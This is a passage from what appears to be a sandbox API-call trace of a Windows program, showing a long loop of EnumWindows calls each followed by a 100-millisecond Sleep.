lParam=0x410000) [0153.604] Sleep (dwMilliseconds=0x64) [0153.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.606] Sleep (dwMilliseconds=0x64) [0153.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.608] Sleep (dwMilliseconds=0x64) [0153.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.609] Sleep (dwMilliseconds=0x64) [0153.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.684] Sleep (dwMilliseconds=0x64) [0153.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.686] Sleep (dwMilliseconds=0x64) [0153.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.688] Sleep (dwMilliseconds=0x64) [0153.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.690] Sleep (dwMilliseconds=0x64) [0153.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.692] Sleep (dwMilliseconds=0x64) [0153.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.694] Sleep (dwMilliseconds=0x64) [0153.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.696] Sleep (dwMilliseconds=0x64) [0153.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.698] Sleep (dwMilliseconds=0x64) [0153.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.700] Sleep (dwMilliseconds=0x64) [0153.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.702] Sleep (dwMilliseconds=0x64) [0153.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.704] Sleep (dwMilliseconds=0x64) [0153.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.706] Sleep (dwMilliseconds=0x64) [0153.707] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.707] Sleep (dwMilliseconds=0x64) [0153.709] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.709] Sleep (dwMilliseconds=0x64) [0153.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.711] Sleep (dwMilliseconds=0x64) [0153.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.714] Sleep (dwMilliseconds=0x64) [0153.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.732] Sleep (dwMilliseconds=0x64) [0153.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.734] Sleep (dwMilliseconds=0x64) [0153.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.736] Sleep (dwMilliseconds=0x64) [0153.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.743] Sleep (dwMilliseconds=0x64) [0153.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.804] Sleep (dwMilliseconds=0x64) [0153.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.806] Sleep (dwMilliseconds=0x64) [0153.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.808] Sleep (dwMilliseconds=0x64) [0153.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.809] Sleep (dwMilliseconds=0x64) [0153.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.811] Sleep (dwMilliseconds=0x64) [0153.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.813] Sleep (dwMilliseconds=0x64) [0153.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.815] Sleep (dwMilliseconds=0x64) [0153.816] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.817] Sleep (dwMilliseconds=0x64) [0153.818] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.818] Sleep (dwMilliseconds=0x64) [0153.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.820] Sleep (dwMilliseconds=0x64) [0153.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.821] Sleep (dwMilliseconds=0x64) [0153.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.823] Sleep (dwMilliseconds=0x64) [0153.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.824] Sleep (dwMilliseconds=0x64) [0153.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.825] Sleep (dwMilliseconds=0x64) [0153.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.827] Sleep (dwMilliseconds=0x64) [0153.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.829] Sleep (dwMilliseconds=0x64) [0153.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.830] Sleep (dwMilliseconds=0x64) [0153.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.916] Sleep (dwMilliseconds=0x64) [0153.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0153.999] Sleep (dwMilliseconds=0x64) [0154.018] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.019] Sleep (dwMilliseconds=0x64) [0154.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.020] Sleep (dwMilliseconds=0x64) [0154.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.022] Sleep (dwMilliseconds=0x64) [0154.023] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.023] Sleep (dwMilliseconds=0x64) [0154.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.041] Sleep (dwMilliseconds=0x64) [0154.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.045] Sleep (dwMilliseconds=0x64) [0154.046] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.046] Sleep (dwMilliseconds=0x64) [0154.048] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.048] Sleep (dwMilliseconds=0x64) [0154.049] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.049] Sleep (dwMilliseconds=0x64) [0154.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.051] Sleep (dwMilliseconds=0x64) [0154.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.053] Sleep (dwMilliseconds=0x64) [0154.055] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.055] Sleep (dwMilliseconds=0x64) [0154.057] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.058] Sleep (dwMilliseconds=0x64) [0154.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.059] Sleep (dwMilliseconds=0x64) [0154.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.061] Sleep (dwMilliseconds=0x64) [0154.062] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.062] Sleep (dwMilliseconds=0x64) [0154.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.064] Sleep (dwMilliseconds=0x64) [0154.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.065] Sleep (dwMilliseconds=0x64) [0154.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.067] Sleep (dwMilliseconds=0x64) [0154.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.068] Sleep (dwMilliseconds=0x64) [0154.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.070] Sleep (dwMilliseconds=0x64) [0154.071] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.071] Sleep (dwMilliseconds=0x64) [0154.073] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.073] Sleep (dwMilliseconds=0x64) [0154.074] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.075] Sleep (dwMilliseconds=0x64) [0154.076] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.076] Sleep (dwMilliseconds=0x64) [0154.080] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.080] Sleep (dwMilliseconds=0x64) [0154.082] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.082] Sleep (dwMilliseconds=0x64) [0154.083] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.083] Sleep (dwMilliseconds=0x64) [0154.085] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.085] Sleep (dwMilliseconds=0x64) [0154.086] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.086] Sleep (dwMilliseconds=0x64) [0154.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.088] Sleep (dwMilliseconds=0x64) [0154.089] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.089] Sleep (dwMilliseconds=0x64) [0154.091] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.091] Sleep (dwMilliseconds=0x64) [0154.092] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.092] Sleep (dwMilliseconds=0x64) [0154.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.094] Sleep (dwMilliseconds=0x64) [0154.095] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.095] Sleep (dwMilliseconds=0x64) [0154.097] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.097] Sleep (dwMilliseconds=0x64) [0154.098] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.098] Sleep (dwMilliseconds=0x64) [0154.100] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.100] Sleep (dwMilliseconds=0x64) [0154.101] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.101] Sleep (dwMilliseconds=0x64) [0154.103] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.103] Sleep (dwMilliseconds=0x64) [0154.104] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.104] Sleep (dwMilliseconds=0x64) [0154.106] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.106] Sleep (dwMilliseconds=0x64) [0154.108] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.108] Sleep (dwMilliseconds=0x64) [0154.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.109] Sleep (dwMilliseconds=0x64) [0154.111] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.111] Sleep (dwMilliseconds=0x64) [0154.112] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.112] Sleep (dwMilliseconds=0x64) [0154.114] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.114] Sleep (dwMilliseconds=0x64) [0154.115] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.115] Sleep (dwMilliseconds=0x64) [0154.117] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.117] Sleep (dwMilliseconds=0x64) [0154.119] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.119] Sleep (dwMilliseconds=0x64) [0154.122] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.122] Sleep (dwMilliseconds=0x64) [0154.124] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.124] Sleep (dwMilliseconds=0x64) [0154.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.126] Sleep (dwMilliseconds=0x64) [0154.128] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.128] Sleep (dwMilliseconds=0x64) [0154.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.129] Sleep (dwMilliseconds=0x64) [0154.131] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.131] Sleep (dwMilliseconds=0x64) [0154.132] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.132] Sleep (dwMilliseconds=0x64) [0154.134] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.134] Sleep (dwMilliseconds=0x64) [0154.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.136] Sleep (dwMilliseconds=0x64) [0154.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.137] Sleep (dwMilliseconds=0x64) [0154.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.139] Sleep (dwMilliseconds=0x64) [0154.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.140] Sleep (dwMilliseconds=0x64) [0154.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.142] Sleep (dwMilliseconds=0x64) [0154.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.143] Sleep (dwMilliseconds=0x64) [0154.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.145] Sleep (dwMilliseconds=0x64) [0154.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.147] Sleep (dwMilliseconds=0x64) [0154.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.148] Sleep (dwMilliseconds=0x64) [0154.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.150] Sleep (dwMilliseconds=0x64) [0154.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.152] Sleep (dwMilliseconds=0x64) [0154.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.154] Sleep (dwMilliseconds=0x64) [0154.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.156] Sleep (dwMilliseconds=0x64) [0154.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.157] Sleep (dwMilliseconds=0x64) [0154.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.159] Sleep (dwMilliseconds=0x64) [0154.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.161] Sleep (dwMilliseconds=0x64) [0154.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.162] Sleep (dwMilliseconds=0x64) [0154.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.166] Sleep (dwMilliseconds=0x64) [0154.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.168] Sleep (dwMilliseconds=0x64) [0154.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.169] Sleep (dwMilliseconds=0x64) [0154.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.171] Sleep (dwMilliseconds=0x64) [0154.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.172] Sleep (dwMilliseconds=0x64) [0154.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.175] Sleep (dwMilliseconds=0x64) [0154.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.176] Sleep (dwMilliseconds=0x64) [0154.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.178] Sleep (dwMilliseconds=0x64) [0154.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.179] Sleep (dwMilliseconds=0x64) [0154.181] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.181] Sleep (dwMilliseconds=0x64) [0154.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.182] Sleep (dwMilliseconds=0x64) [0154.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.184] Sleep (dwMilliseconds=0x64) [0154.185] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.185] Sleep (dwMilliseconds=0x64) [0154.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.188] Sleep (dwMilliseconds=0x64) [0154.189] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.189] Sleep (dwMilliseconds=0x64) [0154.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.191] Sleep (dwMilliseconds=0x64) [0154.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.192] Sleep (dwMilliseconds=0x64) [0154.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.194] Sleep (dwMilliseconds=0x64) [0154.195] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.196] Sleep (dwMilliseconds=0x64) [0154.197] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.197] Sleep (dwMilliseconds=0x64) [0154.199] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.199] Sleep (dwMilliseconds=0x64) [0154.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.201] Sleep (dwMilliseconds=0x64) [0154.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.203] Sleep (dwMilliseconds=0x64) [0154.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.205] Sleep (dwMilliseconds=0x64) [0154.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.209] Sleep (dwMilliseconds=0x64) [0154.211] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.211] Sleep (dwMilliseconds=0x64) [0154.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.213] Sleep (dwMilliseconds=0x64) [0154.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.218] Sleep (dwMilliseconds=0x64) [0154.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.220] Sleep (dwMilliseconds=0x64) [0154.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.222] Sleep (dwMilliseconds=0x64) [0154.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.225] Sleep (dwMilliseconds=0x64) [0154.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.226] Sleep (dwMilliseconds=0x64) [0154.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.228] Sleep (dwMilliseconds=0x64) [0154.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.231] Sleep (dwMilliseconds=0x64) [0154.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.233] Sleep (dwMilliseconds=0x64) [0154.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.235] Sleep (dwMilliseconds=0x64) [0154.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.236] Sleep (dwMilliseconds=0x64) [0154.238] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.238] Sleep (dwMilliseconds=0x64) [0154.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.240] Sleep (dwMilliseconds=0x64) [0154.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.241] Sleep (dwMilliseconds=0x64) [0154.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.243] Sleep (dwMilliseconds=0x64) [0154.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.244] Sleep (dwMilliseconds=0x64) [0154.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.246] Sleep (dwMilliseconds=0x64) [0154.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.248] Sleep (dwMilliseconds=0x64) [0154.249] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.249] Sleep (dwMilliseconds=0x64) [0154.251] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.252] Sleep (dwMilliseconds=0x64) [0154.253] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.253] Sleep (dwMilliseconds=0x64) [0154.254] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.255] Sleep (dwMilliseconds=0x64) [0154.256] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.256] Sleep (dwMilliseconds=0x64) [0154.257] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.258] Sleep (dwMilliseconds=0x64) [0154.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.259] Sleep (dwMilliseconds=0x64) [0154.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.261] Sleep (dwMilliseconds=0x64) [0154.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.262] Sleep (dwMilliseconds=0x64) [0154.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.264] Sleep (dwMilliseconds=0x64) [0154.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.266] Sleep (dwMilliseconds=0x64) [0154.267] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.267] Sleep (dwMilliseconds=0x64) [0154.269] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.269] Sleep (dwMilliseconds=0x64) [0154.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.271] Sleep (dwMilliseconds=0x64) [0154.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.272] Sleep (dwMilliseconds=0x64) [0154.273] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.274] Sleep (dwMilliseconds=0x64) [0154.275] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.275] Sleep (dwMilliseconds=0x64) [0154.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.277] Sleep (dwMilliseconds=0x64) [0154.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.278] Sleep (dwMilliseconds=0x64) [0154.279] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.280] Sleep (dwMilliseconds=0x64) [0154.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.281] Sleep (dwMilliseconds=0x64) [0154.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.283] Sleep (dwMilliseconds=0x64) [0154.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.284] Sleep (dwMilliseconds=0x64) [0154.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.286] Sleep (dwMilliseconds=0x64) [0154.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.288] Sleep (dwMilliseconds=0x64) [0154.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.289] Sleep (dwMilliseconds=0x64) [0154.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.291] Sleep (dwMilliseconds=0x64) [0154.292] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.293] Sleep (dwMilliseconds=0x64) [0154.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.294] Sleep (dwMilliseconds=0x64) [0154.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.296] Sleep (dwMilliseconds=0x64) [0154.297] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.297] Sleep (dwMilliseconds=0x64) [0154.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.299] Sleep (dwMilliseconds=0x64) [0154.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.301] Sleep (dwMilliseconds=0x64) [0154.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.302] Sleep (dwMilliseconds=0x64) [0154.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.304] Sleep (dwMilliseconds=0x64) [0154.305] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.305] Sleep (dwMilliseconds=0x64) [0154.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.307] Sleep (dwMilliseconds=0x64) [0154.308] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.309] Sleep (dwMilliseconds=0x64) [0154.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.310] Sleep (dwMilliseconds=0x64) [0154.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.312] Sleep (dwMilliseconds=0x64) [0154.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.313] Sleep (dwMilliseconds=0x64) [0154.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.315] Sleep (dwMilliseconds=0x64) [0154.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.316] Sleep (dwMilliseconds=0x64) [0154.317] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.318] Sleep (dwMilliseconds=0x64) [0154.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.319] Sleep (dwMilliseconds=0x64) [0154.320] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.321] Sleep (dwMilliseconds=0x64) [0154.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.322] Sleep (dwMilliseconds=0x64) [0154.324] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.324] Sleep (dwMilliseconds=0x64) [0154.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.326] Sleep (dwMilliseconds=0x64) [0154.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.327] Sleep (dwMilliseconds=0x64) [0154.329] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.329] Sleep (dwMilliseconds=0x64) [0154.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.331] Sleep (dwMilliseconds=0x64) [0154.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.332] Sleep (dwMilliseconds=0x64) [0154.333] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.334] Sleep (dwMilliseconds=0x64) [0154.335] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.335] Sleep (dwMilliseconds=0x64) [0154.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.337] Sleep (dwMilliseconds=0x64) [0154.339] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.339] Sleep (dwMilliseconds=0x64) [0154.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.340] Sleep (dwMilliseconds=0x64) [0154.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.506] Sleep (dwMilliseconds=0x64) [0154.516] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.516] Sleep (dwMilliseconds=0x64) [0154.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.518] Sleep (dwMilliseconds=0x64) [0154.519] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.520] Sleep (dwMilliseconds=0x64) [0154.521] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.521] Sleep (dwMilliseconds=0x64) [0154.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.524] Sleep (dwMilliseconds=0x64) [0154.525] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.526] Sleep (dwMilliseconds=0x64) [0154.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.527] Sleep (dwMilliseconds=0x64) [0154.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.529] Sleep (dwMilliseconds=0x64) [0154.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.531] Sleep (dwMilliseconds=0x64) [0154.533] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.533] Sleep (dwMilliseconds=0x64) [0154.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.535] Sleep (dwMilliseconds=0x64) [0154.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.537] Sleep (dwMilliseconds=0x64) [0154.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.540] Sleep (dwMilliseconds=0x64) [0154.541] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.541] Sleep (dwMilliseconds=0x64) [0154.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.543] Sleep (dwMilliseconds=0x64) [0154.544] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.545] Sleep (dwMilliseconds=0x64) [0154.546] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.546] Sleep (dwMilliseconds=0x64) [0154.548] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.548] Sleep (dwMilliseconds=0x64) [0154.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.550] Sleep (dwMilliseconds=0x64) [0154.552] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0154.552] Sleep (dwMilliseconds=0x64) [0154.554] EnumWindows 